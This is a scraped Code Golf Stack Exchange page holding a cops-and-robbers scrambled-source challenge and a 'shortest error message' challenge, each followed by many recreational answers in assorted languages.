[Question] [ > > **Note**: This challenge is now closed to new cop submissions. This is to ensure that no one can post submissions that only remain uncracked because there aren't enough robbers interested in the challenge anymore. > > > In this game of cops-and-robbers, each cop will write a simple program to give a single output. They will then make public four things about their program: 1. The language 2. The program length 3. The desired output 4. A scrambled-up version of the source code Then, the robbers must unscramble the source code so that their program functions like the original. --- # Cop Rules You are to write a simple program, which the robbers will try to recreate. Your original program must have a simple functionality: upon execution, it outputs a single string/number and halts. It should give the same output regardless of when/where it is run, and should not depend on extra libraries or the internet. Your program and output must use printable ASCII (newlines and spaces allowed). The output should be no more than 100 characters long, and the program should take less than about 5 seconds to run on a reasonable machine. You are also not allowed to use hashing (or other cryptographic functions) in your program Then, you provide a scrambled-up version of the source code and the required output. You can scramble up your source code however you may like, as long as characters are conserved. Your score is the shortest program you have submitted which hasn't been cracked. After a period of one week, an uncracked submission will become immune. In order to claim this immunity, you should edit your answer to show the correct answer. (Clarification: Until you reveal the answer, you are not immune and can still be cracked.) The lowest score wins. ## Simple Example Cop Answers > > Perl, 20 > > > `ellir"lnto Wo d";prH` > > > `Hello World` > > > Or... > > Perl, 15 > > > `*3i)xp3rn3*x3t(` > > > `272727` > > > # Robber Rules **Robbers will post their cracking attempts as answers in a separate thread, located [here](https://codegolf.stackexchange.com/questions/40935/unscramble-the-source-code-robber-thread-for-cracking-attempts).** You have one attempt at cracking each submission. Your cracking attempt will be an unscrambled version of the source code. If your guess matches the description (same characters, output, and of course language), and you are the first correct guess, then you win a point. It is important to note that your program does not have to exactly match the original, simply use the same characters and have the same functionality. This means there could be more than one correct answer. The robber with the most points (successful cracks) wins. ## Simple Example Robber Answers > > Your program was `print "Hello World";`. (Although `print"Hello World" ;` could have also worked.) > > > Your program was `print(3**3x3)x3` > > > # Safe Submissions 1. [ASP/ASP.Net, 14 (Jamie Barker)](https://codegolf.stackexchange.com/a/44309/35813) 2. [Befunge-98, 15 (FireFly)](https://codegolf.stackexchange.com/a/41384/3918) 3. [GolfScript, 16 (Peter Taylor)](https://codegolf.stackexchange.com/a/41152/194) 4. [CJam, 19 (DLosc)](https://codegolf.stackexchange.com/a/41624/16766) 5. [GolfScript, 20 (user23013)](https://codegolf.stackexchange.com/a/41358/25180) 6. [Perl, 21 (primo)](https://codegolf.stackexchange.com/a/41696/) 7. [Python, 23 (mbomb007)](https://codegolf.stackexchange.com/a/43221) 8. [Ruby, 27 (histocrat)](https://codegolf.stackexchange.com/a/41896/25180) 9. [SAS, 28 (ConMan)](https://codegolf.stackexchange.com/a/41356/25180) 10. [Ruby, 29 (histocrat)](https://codegolf.stackexchange.com/a/41622/8478) 11. [Python, 30 (mbomb007)](https://codegolf.stackexchange.com/a/44514) 12. [JavaScript, 31 (hsl)](https://codegolf.stackexchange.com/a/43142/29750) 13. [Ruby, 33 (histocrat)](https://codegolf.stackexchange.com/a/41444/3918) 14. [Marbelous, 37 (es1024)](https://codegolf.stackexchange.com/a/41124/29611) 15. [Ruby, 43 (histocrat)](https://codegolf.stackexchange.com/a/41271/8478) 16. [PHP, 44 (kenorb)](https://codegolf.stackexchange.com/a/41169/8478) 17. [Ruby, 45 (histocrat)](https://codegolf.stackexchange.com/a/41269/8478) 18. [Marbelous, 45 (es1024)](https://codegolf.stackexchange.com/a/41008/29611) 19. [Python 2, 45 (Emil)](https://codegolf.stackexchange.com/a/41652/25180) 20. [PHP, 46 (Ismael Miguel)](https://codegolf.stackexchange.com/a/41295/8478) 21. [Haskell, 48 (nooodl)](https://codegolf.stackexchange.com/a/41261/8478) 22. [Python, 51 (DLosc)](https://codegolf.stackexchange.com/a/41391/8478) 23. [Python, 60 (Sp3000)](https://codegolf.stackexchange.com/a/41277/21487) 24. [Python 2, 62 (muddyfish)](https://codegolf.stackexchange.com/a/41544/25180) 25. [JavaScript, 68 (Jamie Barker)](https://codegolf.stackexchange.com/a/44296/35813) 26. [Mathematica, 73 (Arcinde)](https://codegolf.stackexchange.com/a/41397/8478) 27. [Haskell, 77 (proudhaskeller)](https://codegolf.stackexchange.com/a/41188/20370) 28. [Python, 90 (DLosc)](https://codegolf.stackexchange.com/a/41312/8478) 29. [C++, 104 (user23013)](https://codegolf.stackexchange.com/a/41138/8478) 30. [ECMAScript 6, 116 (Mateon1)](https://codegolf.stackexchange.com/a/41129/30544) 31. [C++11, 121 (es1024)](https://codegolf.stackexchange.com/a/41216/29611) 32. [Grass, 134 (user23013)](https://codegolf.stackexchange.com/a/41032/8478) 33. [PowerShell, 182 (christopherw)](https://codegolf.stackexchange.com/a/41041/21838) # Unsolved Submissions In order of time of posting. This list courtesy of many users. * [CoffeeScript, 96 (soktinpk)](https://codegolf.stackexchange.com/a/40980/29611) * [Python 3, 70 (Sp3000)](https://codegolf.stackexchange.com/a/40989/29611) * [TinyMUSH 3.1, 20 (Muqo)](https://codegolf.stackexchange.com/a/40992/29611) * [GolfScript, 32 (Beta Decay)](https://codegolf.stackexchange.com/a/41055/30525) * [Python 2, 101 (Mateon1)](https://codegolf.stackexchange.com/a/41098/29611) * [Lua, 49 (ChipperNickel)](https://codegolf.stackexchange.com/a/41117/29611) * [Python, 61 (imallett)](https://codegolf.stackexchange.com/a/41215/8478) * [Java 6+, 218 (nhahtdh)](https://codegolf.stackexchange.com/a/41228/8478) * [CJam, 51 (Martin Büttner)](https://codegolf.stackexchange.com/a/41231/8478) * [J, 22 (FireFly)](https://codegolf.stackexchange.com/a/41287/8478) * [Marbelous, 106 (es1024)](https://codegolf.stackexchange.com/a/41322/29611) * [Marbelous, 107 (es1024)](https://codegolf.stackexchange.com/a/41348/29611) * [JavaScript, 79 (FireFly)](https://codegolf.stackexchange.com/a/41445/3918) * [CJam, 47 (user23013)](https://codegolf.stackexchange.com/a/41447/3918) * [Rust, 118 + Clojure, 106 + others (Vi.) - version 2](https://codegolf.stackexchange.com/a/41481/7773) * [Marbelous, 144 (es1024)](https://codegolf.stackexchange.com/a/41494/29611) * [Python 2, 80 (MrWonderful)](https://codegolf.stackexchange.com/a/41520/25180) * [Perl, 53 (DLosc)](https://codegolf.stackexchange.com/a/41521/25180) * [Perl, 26 (primo)](https://codegolf.stackexchange.com/a/41540) * [Mathematica, 31 (Arcinde)](https://codegolf.stackexchange.com/a/41557/25180) * [Marbelous, 144 (es1024)](https://codegolf.stackexchange.com/a/41560/29611) * [Assembly, 78 (krzygorz)](https://codegolf.stackexchange.com/a/41654/25180) * [J, 14 (algorithmshark)](https://codegolf.stackexchange.com/a/41956/5138) * [Java 8, 157 (TheBestOne)](https://codegolf.stackexchange.com/a/43186/32700) ## A small tool to verify solutions, courtesy of n̴̖̋h̷͉̃a̷̭̿h̸̡̅ẗ̵̨́d̷̰̀ĥ̷̳ ``` $(function(){function e(){var e=$("#ignore-space").is(":checked");var t=$("#source").val().split("").sort();var n=$("#editor").val().split("").sort();var r,i=0;for(r=0;r<t.length;){if(t[r]==n[i]){t.splice(r,1);n.splice(i,1)}else if(t[r]>n[i]){i++}else{r++}}$("#display").val(t.join(""));n=n.join("");if(e){n=n.replace(/[\r\n\t ]/g,"")}if(n.length!=0){$("#status").addClass("bad").removeClass("good").text("Exceeded quota: "+n)}else{$("#status").addClass("good").removeClass("bad").text("OK")}}$("#source, #editor").on("keyup",function(){e()});$("#ignore-space").on("click",function(){e()});e()}) ``` ``` textarea{width:100%;border:thin solid emboss}#status{width:auto;border:thin solid;padding:.5em;margin:.5em 0}.bad{background-color:#FFF0F0;color:#E00}.good{background-color:#F0FFF0;color:#2C2} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <h3>Scrambled Source</h3> <textarea id="source" class="content" rows="10"></textarea> <h3>Unused Characters</h3> <textarea id="display" class="content" rows="10" readonly></textarea> <h3>Your Solution</h3> <input type="checkbox" id="ignore-space" name="ignore-space"/> <label for="ignore-space">Ignore space characters</label> <div id="status" class="good">OK</div> <textarea id="editor" class="content" rows="10"></textarea> ``` [Answer] ## Python 3, size 74 ([Cracked](https://codegolf.stackexchange.com/a/41194/20260)) Python just wasn't the same after being re-educated by Big Brother. **Input:** ``` print(war is peace) print(freedom is slavery) print(ignorance is strength) ``` There are two newlines at the end of lines 1 and 2. **Output:** ``` True True True ``` Note that each `True` is in its own line. [Answer] ## Python 3, size 12 ([Cracked](https://codegolf.stackexchange.com/a/40942/20260)) ``` print (abcd) ``` My program produces no output and no errors. [Answer] # CJam, size 20 ([Cracked](https://codegolf.stackexchange.com/a/41122/8478)) ## Code ``` "Stop, Hammer time!" ``` ## Output ``` 2.956177636986737 ``` [Answer] # Python 2, size 50 ### [Cracked](https://codegolf.stackexchange.com/a/40940/14215) *We already know the Answer to the Question, but what's the Question?* ### Code ``` print *********************--///222222222222222222 ``` Note that there are no trailing spaces or newlines. The only whitespace character is the single space after `print`. ### Output ``` 42 ``` I've attempted to balance code length and difficulty, but it wouldn't surprise me if I missed it a bit either way. Hopefully it's enough to discourage brute force, at least. [Answer] ## [Pyth](https://github.com/isaacg1/pyth) - 71 [Cracked](https://codegolf.stackexchange.com/a/41123/31625) ### Code ``` C-3P0: "Sir, the possibility,..."* Han Solo: "Never Tell Me The Odds!" ``` ### Output ``` 3720 ``` --- \*Originally, George Lucas had Han interrupt C3-PO.\*\* \*\*He called this his greatest idea since Jar-Jar. --- Interesting note: despite all the changes that Pyth has gone through, there is still a valid answer here! --- ### Original > > `ts,*s,y30 l" : : i i Han Solo "eP-C"h"TsrhT` > > > ### Explanation > > The remaining characters go on the next line. Pyth only interprets the first line of a file. > > `ts,` make a 2-tuple and get their sum -1. > `*` multiply: > `s,y30 l"..."` sum the 2-tuple containing 2\*30 and the length of the string (18). > `eP-C"h"T` get the largest prime factor of h's ascii value minus 10 (47). > `srhT` get the sum of numbers from 0-10. > > All in all, this basically just computes: (30\*2+18)\*(47)+55-1. After reading @isaacg's answer I noticed there is an extremely simple solution: `*h30tC"y"` which is 31\*120. > > > ### Updated > > `*h30tC"y" "-P:Sir, e possibilit,...` > `Han Solo: Never Tell Me The Odds!"` > Still works even after all this time... > > > Sorry for poor explanation formatting, I don't know how to use spoiler blocks :S (@Sp3000 made it a bit nicer for you, though) Now you can run Pyth online! [Try it here.](https://pyth.herokuapp.com/?code=%2ah30tC%22y%22+%22-P%3ASir%2C+e+possibilit%2C...%0AHan+Solo%3A+Never+Tell+Me+The+Odds%21%22&debug=0) Thanks @isaacg :) [Answer] # CJam, size 51 [SAFE] ## Code ``` main(int argc,char* argv){printf("Hello, World!");} ``` ## Output ``` 55 2292213229222231957511222223333751125537511222222135723331131931959319319 ``` You can play around with it [in the online interpreter](http://cjam.aditsu.net/). This should be more crackable than it looks. ### Hint > > Start with the second line of the output. A few digits don't appear in it all, and others suspiciously often. Why could that be? If you can decipher that, the rest should almost fall in place. > > > ### Solution > > `"that rrrrraging london Hail!v"{elccimf(;W))},(*,pa` > > > > The weather must have been pretty bad when I came up with that anagram... > > > > The hint was supposed to point towards the fact that the second line is made up of squashed-together prime factorisations. I was hoping that from there it would be possible to determine how many and which characters go into the string, leaving only a few characters at the end. > > > [Answer] ## Befunge-98, size 15 [SAFE] ### Code ``` "quick" *+.@\_j ``` ### Output ``` 3314 ``` ### Original > > > ``` > "u_ji@q.+k*c > " > ``` > > A curious but somewhat well-known feature of Befunge is that you can terminate a string with the same quote that begins it, which in essence pushes that entire line (except the quote) on the stack. As an extra trick, I re-use the same string *again*, by making use of `u` to reverse the instruction pointer. Then it's just some arithmetic: the core idea is to sum up all those values (which is done using `k` to repeat the `+` operation). > > > [Answer] ## GolfScript (16 bytes) [SAFE] ``` %%()*../1129n{}~ ``` Expected output: ``` -117345085515973157874551915956356303213327583847247840186528288852476459638212404362749 ``` Original source: > > `n)~{.*911%(}./2%` > > > [Answer] # Ruby, 17 ([Cracked](https://codegolf.stackexchange.com/questions/40935/unscramble-the-source-code-robber-thread-for-cracking-attempts/41082#41082)) Going for something really short this time. ``` inprt N=2,*'~~~%' ``` Output: ``` 2 2 ``` [Answer] # Python, 69 chars [[cracked by grc](https://codegolf.stackexchange.com/a/41040/21487)] Scrambled: ``` ((((((((((((())))))))))))),,,,accdddiiiiillmmnopprrrrrssssssttttttttu ``` Output: ``` 1083 ``` This one's just a harmless bit of fun :) Tested on CPython 2.7.8, 3.3.2 and for the heck of it PyPy3 2.3.1. --- ## Explanation > > Uses built-in functions `str`, `dict`, `list` to build up a string and then applies `map` with `ord` to convert the string to a list of ints, which are then `sum`med. > > > [Answer] # Python, size 56 ([cracked](https://codegolf.stackexchange.com/a/40973/16618)) ## Code `for i in "iprint()".join(([2,3,7,0,9,chr((-7+732^70)])))` ## Output `hi mom` [Answer] # Python 3, 70 chars Scrambled: ``` ""(((())))****++++222222222;;;;;=======cccccccccceeeiinnpprrttxxxxxxxx ``` Output (99 chars long): ``` 388626024960000000000026872002432000000000000676169243200000000000007317718780000000000000028820330 ``` --- ## Update It's been a week, so rather than posting the answer, here's a hint: > > Try taking the square root of the number and working from there > > > [Answer] # [Pyth](https://github.com/isaacg1/pyth), 11 ``` \\,,"$: Ndw ``` ### Output: ``` ",input()," ``` [Answer] # JavaScript, 94 [Cracked by FireFly](https://codegolf.stackexchange.com/a/41364/32628) ``` alert(' '' '''((()))+++,,,,,,,,,,,,,000111111114444577888;;;;;======[[[]]]aaafhinorrrrvvvxx||) ``` ## Output ``` fun in the sun ``` ## Original > > `a=alert;v='';r=[1,7,8,14,11,8,14,10,0,5,14,4,7,8];for(x in r)v+=('h'+(1==0)+a)[r[x]]||'';a(v);` > > > [Answer] # Ruby, 38 - [cracked by Martin Büttner](https://codegolf.stackexchange.com/a/41301/3808) ``` print(succ(downcase!))$$$..[[]]6e0<><_ ``` Output: ``` u ``` Original: > > `$6.pincdwnca[]rescue$><<$!.to_s[((0))]` > > > [Answer] # Python 3, size 16 ([Cracked](https://codegolf.stackexchange.com/a/40946/30630)) Code: ``` help tim__rolo__ ``` Output (with newline at end): ``` Hello world! ``` [Answer] # Perl - 47 ([cracked by grc](https://codegolf.stackexchange.com/a/41015/29438)) Code (there is one space in there too) ``` """"$$$$$$((()))**....///;;[[]]~==01finoprrstx ``` Output: ``` 012345012345012345012345012345 ``` You can run it online [here](http://www.compileonline.com/execute_perl_online.php) and it does work under `strict` and `warnings`. [Answer] # Ruby, 33 - [cracked by user23013](https://codegolf.stackexchange.com/a/41248/3808) ``` enpsttux [[[]]]++\-\**????$$$$... ``` Output: ``` [*] ``` Original: > > `puts ?[+[*?*..?]][$$-$$]+?\\.next` > > > [Answer] ## Python2, 132 characters ``` ____ ,,,,:::''""""""""""((()))[[]]\\\0126aaaabcccceeeeeeeeeEffggiiiiiilllllmmmmnnnnnnooooopppppqqrrrrrrrrrssssStttttttuuvxxyy ``` Output (with a newline): ``` chance ``` ## Updated version, 96 characters Answer to original version suggested the `exec` instead of `compile`+`eval`, so here is a simplified version: ``` ____ :::''""(())[[]]\\\0126aaabcccceeeeeeeeEffiimmnnnnooopppqqrrrrrrrrrssStttttttuuxxxxyy ``` ## Update: cracked Fully cracked by [Alex Van Liew](https://codegolf.stackexchange.com/a/41451/7773) and [KennyTM](https://codegolf.stackexchange.com/a/41446/7773). The original solutions were (scroll right to reveal the spoiler): ``` eval(compile('try: compile("from __future__ import braces","","single")\nexcept SyntaxError as q:\n\tprint q[0][6:12]',"","single")) exec('try:exec("from __future__ import braces")\nexcept SyntaxError as q:\n\tprint q[0][6:12]') The hint meant "Consider {}, which are not present in the source code". ``` [Answer] # Ruby, 29 [safe] Trying to see how short I can get in Ruby without getting cracked. **Code** ``` paper view otool $()**,.8<<=> ``` **Output** ``` [0][0, 3][0, 3, 6][0, 3, 6, 9][0, 3, 6, 9, 12][0, 3, 6, 9, 12, 16][0, 3, 6, 9, 12, 16, 20] ``` **Original** > > `eval <<p*8 > o=*o,$>.write(o) > p` > > > **Explanation** > > The first line creates a heredoc that starts on the next line and is delimited by the trailing `p`, then concatenates the resulting string to itself 8 times. Since it ends in a newline, this effectively creates a loop. The looped code assigns an array to the variable `o`, consisting of the elements in `o.to_a` (via the `*` shorthand), followed by the output of `$<.write(o)`, which converts `o` to a string, prints it to STDOUT, and returns the number of bytes printed. A variable being assigned to for the first time is `nil` for the purpose of evaluating the right hand side, so on the first run `*o` is empty and write outputs nothing and returns 0. Each subsequent round outputs the array of bytes output on previous rounds. Using a p-delimited heredoc creates decoy methods for output, `p` and `$><<`, in the scrambled characters, that won't work because you need the bytecount. > > > [Answer] # PHP, size 49 [[Cracked by Martin Büttner](https://codegolf.stackexchange.com/a/41115/8478)] ## Code ``` sub(print2w, $+expect+$+one+$+str+$+in=$@~main$); ``` ## Output ``` {main} ``` [Answer] # MATLAB, 41 bytes ### Cracked by [feersum](https://codegolf.stackexchange.com/a/41131/31019) ``` ((((((snowy leopards can like magic)))))) ``` ### Output ``` 1 ``` [Answer] # Perl, 36 [← cracked by grc](https://codegolf.stackexchange.com/a/41137/4020) ## Code ``` $$$()++..112279;;<<=__ffiinooprrrt{} ``` ## Output ``` perl ``` [Tested here](http://www.compileonline.com/execute_perl_online.php) [Answer] # Haskell, 100 Chars (Invalid, output too long) ## Code ``` //Sup tl=[] while(syn==(+j)) tl+=b.a(); //(: #jquery :)\\ $("#jquery").on("click", j=>alert(j==m)) ``` ## Output: `"\er\\e\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\` --- ## Original ``` (#)=(>);(//)=(++) l=j.show main=putStr.l.l$l"eer" j[]="\\" j(y:u)=let(q,c)=break(#y)u in y:j c//j q ``` [Answer] ## J, 22 bytes ### Code ``` !%()1348:::bbceehorvxx ``` ### Output (97 chars) ``` 1226317306651180983274420265228191056569220222873505571155987454033425908908110103433163350999040 ``` I expect this to be practically impossible... [Answer] # CJam, 32 bytes ([cracked](https://codegolf.stackexchange.com/a/41148/25180)) ### Scrambled source ``` "Beware the Jabberwock, my son!" ``` ### Output ``` 4074552392882954617076720538102062920 ``` [Answer] ## [Pyth](https://github.com/isaacg1/pyth) - 35 - [Cracked](https://codegolf.stackexchange.com/a/41206/31625) In the spirit of @MartinBüttner: ### Code ``` "Programming Puzzles and Code Golf" ``` ### Output ``` 4.459431618637297 ``` [Try to decode it online here.](http://isaacg.scripts.mit.edu/pyth/index.py) [Answer] ## [TinyMUSH 3.1](http://www.tinymush.net/index.php/Main_Page), 20 Scrambled: ``` (#ret,#3!#+#2i\2#,@) ``` Output: ``` 3210 ``` [Answer] # Python 3, length 110 [[cracked by grc](https://codegolf.stackexchange.com/a/41142/4020)] Scrambled (`\n` denotes a newline) ``` \n\n\n ""((((())))),.......9::;===IOS[]__addeeegghiiiiiiiiijllmmnnoooooooppprrrrsssssssssstttttttttttuuuuuvwyyy ``` Output: ``` The better is Flat dense. break never of be do at never. If bad it honking ``` Here's another fun one - not meant to be hard, but just something unusual and puzzly. :) --- ## Explanation > > The random-looking words are taken from the [Zen of Python](http://legacy.python.org/dev/peps/pep-0020/) (PEP 20), which is automatically printed via the easter egg `import this`. The passage is just every ninth word, as hinted by the `9::[]` present. > > To extract every ninth word without automatically printing the passage when importing, we redirect `sys.stdout` to a `StringIO()`. > > > [Answer] # Javascript, 29 - Cracked *Run in a Chrome browser console* ### Code ``` 23*47,(no,(.][j,i|i,j][.),on) ``` ### Output ``` 181 ``` ### Original code > > `[,,,].join(3)|[,4,].join(7)*2` > > > ]
[Question] [ **Challenge** Write the shortest program that, when compiled or executed, produces a fatal error message smaller than the program itself. The error message may not be generated by the program itself, such as Python's `raise`. A valid answer must include both the code and the error message. Shortest valid answer wins. No error message does not count as an error message. **Example (Lua)** Code (46 bytes): ``` [ --aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ``` Error (45 bytes): ``` [string "[..."]:1: unexpected symbol near '[' ``` [Answer] # [ed](https://www.gnu.org/fun/jokes/ed-msg.html), 3 bytes *Note: Most of the answers here are ignoring the trailing newline printed as part of the error message in their count. But I don’t see anything in the question to justify ignoring it, and the author [commented that the newline should be included](https://codegolf.stackexchange.com/questions/133840/shortest-error-message?answertab=votes#comment328883_133840). So unless the question is changed, I’m going to include it.* Code (with trailing newline): ``` ?? ``` Error (with trailing newline): ``` ? ``` [Answer] # C (modern Linux), 19 bytes Would've done my famous segfault but totallyhuman stole it. ``` main(){longjmp(0);} ``` Output (18 bytes): ``` Segmentation fault ``` [Answer] # Python 2, 35 bytes ``` import sys;sys.tracebacklimit=000;a ``` Gives error: ``` NameError: name 'a' is not defined ``` [Answer] ## JavaScript (Firefox), 31 bytes ``` # This is a comment, right? ... ``` Throws this error: ``` SyntaxError: illegal character ``` Tested in the console of Firefox 54.0.1 on Windows 7. [Answer] # [Python 2](https://docs.python.org/2/), ~~87~~ 79 bytes *-8 bytes thanks to Zacharý and Erik the Outgolfer.* ``` from __future__ import braces #i am most surely seriously actually totallyhuman ``` [Try it online!](https://tio.run/##FclLCsAgDADRfU8R6A16oZCKomCM5LPw9Nau5sHM5VXGs3dRYUAs4aEZERpPUYdXKWW77gbEwGIOdn5fYFmbhB1R8qB@4OJ/azCNvT8 "Python 2 – Try It Online") ## Error message, 78 bytes: Assuming the code is stored in a file named `a`. ``` File "a", line 1 from __future__ import braces SyntaxError: not a chance ``` This is actually a nice little Easter egg in Python. :D [Answer] # Haskell, 13 bytes ``` main = (main) ``` Save as `t.hs` or another one-character name, compile with `ghc`, and run. Error message (with trailing newline): ``` t: <<loop>> ``` [Answer] # [><>](https://esolangs.org/wiki/Fish), 26 bytes ``` >>>>>>>>>>>>>>>>>>>>>>>>>: ``` [Try it online!](https://tio.run/##S8sszvj/3w4XsPr/HwA "><> – Try It Online") Every error message in Fish is `something smells fishy...`, so this just moves the pointer right enough times to be longer than that and attempts to duplicate the top of the stack, which is empty at the time. [Answer] # [Taxi](https://bigzaphod.github.io/Taxi/), ~~38~~ 21 bytes ``` Switch to plan "abc". ``` Produces: ``` error: no such label ``` [Try it online!](https://tio.run/##K0msyPz/P7g8syQ5Q6EkX6EgJzFPQSkxKVlJ7/9/AA "Taxi – Try It Online") *-17 bytes thanks to Engineer Toast* Tries to switch to "abc", which does not exist. You would have `[abc]` somewhere. [Answer] ## JavaScript (Firefox), 21 bytes ``` (a=null)=>a.charAt(1) ``` **Error (20 bytes)**: `TypeError: a is null` [Answer] # System V shell, 25 bytes ``` mount /dev/hda1 /mnt/hda1 ``` Error message (23 bytes): ``` mount: not a typewriter ``` "Not a typewriter" or `ENOTTY` is an error code defined in `errno.h` on Unix systems. This is used to indicate that an invalid ioctl (input/output control) number was specified in an ioctl system call. On my system, in `/usr/include/asm-generic/errno-base.h`, I can find this line: ``` #define ENOTTY 25 /* Not a typewriter */ ``` In Version 6 UNIX and older, I/O was limited to serial-connected terminal devices, such as a teletype (TTY). These were usually managed through the `gtty` and `stty` system calls. If one were to try to use either of these system calls on a non-terminal device, `ENOTTY` was generated. Nowadays, there is naturally no need to use a teletype. When `gtty` and `stty` were replaced with `ioctl`, `ENOTTY` was kept. Some systems still display this message; but most say "inappropriate ioctl for device" instead. [Answer] # [TrumpScript](https://github.com/samshadwell/TrumpScript), 30 bytes ``` We love NATO! America is great ``` Error message: ``` Trump doesn't want to hear it ``` [Answer] # **Javascript (V8), 24 bytes** ``` decodeURIComponent('%'); ``` Error, 23 bytes: ``` URIError: URI malformed ``` Tested on *Nodejs v6.11.0* and *Google Chrome v59.0.3071.115*. [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/f8/JTUZSIcGeTrn5xbk56XmlWioq6prWv//DwA "JavaScript (Node.js) – Try It Online") Note that TIO expands the error message. [Answer] # QBasic, 11 bytes There are two solutions of 11 bytes in QBasic, one of which might be golfed further. The shortest error message QBasic has is `overflow`, and can be triggered as such: ``` i%=i%+32677 ``` This throws `overflow` because the max for an integer (`i%`) is `32676`. I couldn't get the `32677` golfed without QBasic auto-casting this to long... Another error, at 11 bytes, would be `out of data`. QBasic has `DATA` statements that store data in the program, which can later be accessed by `READ` statements. Issuing more `READ`s than `DATA`s causes the error: ``` READ a$ '-- ``` Note that the statement is padded with a comment to get it up to the length of the error message. Yes, I have an error message with a shorter program, and a program with a shorter error message ... [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal), 309 bytes ``` In this answer, I coded it so that the program errors when executed․ Also, according to code-golf statistics, only a small percentage of people who view my answers actually upvote․ So if you enjoy this answer, please consider upvoting - it's free, and you can change your mind at any time․ Enjoy the answer․ ``` I request that you imagine [Epic Dawn](https://www.youtube.com/watch?v=beCC9xJjLZQ) by Bobby Cole is playing while reading this answer. ## The Error ``` Traceback (most recent call last): File "C:\Users\61419\Desktop\Vyxal\Vyxal.py", line 867, in <module> exec(line) File "<string>", line 4, in <module> File "C:\Users\61419\Desktop\Vyxal\Vyxal.py", line 592, in VY_int return int(item, base) ValueError: invalid literal for int() with base 10: '' ``` # Explained This fails immediately on the first instruction it sees: `I`. It tries to convert the empty input to base 10 (which is impossible) [Answer] # C (Modern Linux), 19 bytes I suggested this in chat, but nobody took the oppurtunity. :P Credit to [MD XF's hilarious answer](https://codegolf.stackexchange.com/a/121264/). ``` main(){puts('s');;} ``` ## Error message, 18 bytes ``` Segmentation fault ``` [Answer] ## Commodore 64 Basic, 15 bytes ``` ?SYNTAX ERROR ``` Produces ``` ?SYNTAX ERROR ``` (Note two spaces in the error message, where the program has three) `?SYNTAX ERROR` is tied with `?VERIFY ERROR` as the third-shortest error message that C64 Basic can produce, and the shortest that can be reliably triggered by code (the shortest message, `BREAK IN 1`, requires user interaction, while `?LOAD ERROR` requires a defective tape or floppy disk, and `?VERIFY ERROR` requires the presence of a floppy or tape containing a file that doesn't match the program in RAM). [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), ~~215~~ 189 bytes ``` [] 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 ``` [Try it online!](https://tio.run/##K8gvTy0qzkjNyfn/X4lLPXH4AfX//wE "PowerShell – Try It Online") So, PowerShell has ... verbose ... error messages. Additionally, most non-syntax error messages are Runtime Exceptions, meaning that they're non-fatal, which reduces this problem to needing to find a short parsing error. ~~I *think* this is one of the shortest, if not *the* shortest,~~ @TessellatingHeckler has demonstrated this is the shortest parsing error, and it still weighs in at `188` bytes just for the error message. So we basically need to append enough `1`s to reach `189` bytes of "code." Running this locally on `c:\a.ps1` for example, will cut down on the byte count by a handful as it's just a shorter file path, but then it's not available on TIO. Produces error: ``` At /tmp/home/.code.tio.ps1:1 char:2 + [] + ~ Missing type name after '['. + CategoryInfo : ParserError: (:) [], ParseException + FullyQualifiedErrorId : MissingTypename ``` [Answer] # Ruby (~~33~~ 32 bytes) **32 bytes** ``` & #abcdefghijklmnopqrstuvwxyz12 ``` Throws the error (assuming in a file named "a"): **31 bytes** ``` a:1: syntax error, unexpected & ``` **Edit**: Shaved a byte off by using `&` instead of `<<` thanks to [Eric](https://codegolf.stackexchange.com/users/65905/eric-duminil), who also came up with an even shorter Ruby solution: <http://codegolf.stackexchange.com/a/135087/65905> [Answer] # [R](https://www.r-project.org/), ~~29~~ 28 bytes *-1 byte thanks to JarkoDubbeldam* ``` a #abcdefghijklmnopqrstuvwxy ``` Throws the error `Error: object 'a' not found`which is 27 bytes. [Try it online!](https://tio.run/##K/r/P1FBOTEpOSU1LT0jMys7Jzcvv6CwqLiktKy8ovL/fwA) [Answer] # Brainf\*\*k, 17 bytes, [this interpreter](http://fatiherikli.github.io/brainfuck-visualizer/#KysrKysrKysrKysrKysrPDw=) ``` +++++++++++++++<< ``` Brainf\*\*k is such a simple language that almost every interpreter has a different error message. This one uses `Memory Error: -1` for when the pointer is moved to the left too much and you attempt another operation [Answer] # [Common Lisp](http://www.clisp.org/), 20 bytes ``` (/ 1 0)))))))))))))) ``` [Try it online!](https://tio.run/##S87JLC74/19DX8FQwUATBfz/DwA "Common Lisp – Try It Online") **Error Message** ``` /: division by zero ``` [Answer] # TryAPL, 11 bytes Code (11): ``` 'abcdefghij ``` Error (10): ``` open quote ``` [Answer] # ZX Spectrum Basic, 9 bytes ``` RUN USR 8 ``` produces: ![Error message](https://i.stack.imgur.com/5wJQa.png) Explanation: I am (exceptionally) counting ASCII representation of the program for length purposes, including the end of line (it's not really important, since we could always pad a shorter program with spaces). Usually, ZX Spectrum error messages are longer and more helpful than this - the ROM routine at 0x0008 expects error code following the machine code call to `RST 8`., and fetches some random (deterministic) byte from the ROM, which produces this nonsensical error message `M`. `5` is the error number, `,` is added by the error printing routine and `0:1` is the line:command position of the error. [Answer] # [ArnoldC](https://lhartikk.github.io/ArnoldC/), 150 bytes ``` IT'S SHOWTIME HEY CHRISTMAS TREE b YOU SET US UP 0 GET TO THE CHOPPER b HERE IS MY INVITATION b HE HAD TO SPLIT 0 ENOUGH TALK YOU HAVE BEEN TERMINATED ``` [Try it online!](https://tio.run/##Hcw7DsJAEAPQPqdwR8sVFmJlRmQ/2pkNSsmnRCBxf2kJ6Szr2bfv@/N6PnpXPxhM8tU1chCuOEtV8xgMXknchzU3GB3N0AqOw7Rlz3DhZnMprBsSVkINcYWmRT245rT3kDD@vZVZfZsz5TYJPMyX/VrCQpzIBGeNmoJz7P0H "ArnoldC – Try It Online") Error is 94 bytes (including trailing newline): ``` Exception in thread "main" java.lang.ArithmeticException: / by zero at code.main(Hello.java) ``` --- Preserved because I think this is more funny - spoiler: it was those dang teenage pranksters. # [ArnoldC](https://lhartikk.github.io/ArnoldC/), 280 